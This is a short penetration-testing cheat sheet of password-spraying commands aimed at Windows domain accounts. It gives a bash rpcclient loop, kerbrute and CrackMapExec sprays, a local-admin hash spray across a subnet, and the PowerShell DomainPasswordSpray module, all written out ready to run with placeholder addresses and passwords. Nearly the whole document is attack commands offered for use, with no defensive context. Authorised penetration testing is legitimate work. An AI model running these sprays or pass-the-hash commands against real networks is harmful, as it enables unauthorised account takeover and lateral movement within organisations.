Spraying

LINUX

Internal Bash One-Liner Spray

for u in $(cat valid_users.txt);do rpcclient -U "$u%PASSWORD123" -c "getusername;quit" 13.13.13.13 | grep Authority; done

Kerbrute

kerbrute passwordspray -d riotech.local --dc 13.13.13.13 valid_users.txt PASSWORD123

CrackMapExec

sudo crackmapexec smb 13.13.13.13 -u valid_users.txt -p PASSWORD123 | grep +

Local Admin Hash Spray

sudo crackmapexec smb --local-auth 13.13.13.13/23 -u administrator -H goi12h3084u20ij0d81t082310 | grep +

WINDOWS

DomainPasswordSpray.ps1

[LINK]

PS C:\> Import-Module .\DomainPasswordSpray.ps1
PS C:\> Invoke-DomainPasswordSpray -Password PASSWORD123 -OutFile spray_success -ErrorAction SilentlyContinue